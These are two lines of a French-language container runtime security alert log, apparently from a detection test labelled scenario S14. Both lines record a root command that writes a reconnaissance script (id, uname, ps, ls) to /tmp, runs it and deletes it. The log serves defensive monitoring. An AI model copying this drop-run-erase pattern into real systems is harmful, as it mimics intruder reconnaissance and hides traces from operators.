2026-11-09T06:12:46.806584234+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh process=sh parent= container=cible1 pod=cible1 namespace=default) 2026-11-09T06:12:46.806584234+0000: Warning PR10 ROUTE S14 PB3 (pod=cible1 namespace=default scenario=S14 commande=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh) ROUTE-S14-aws-20261109-0608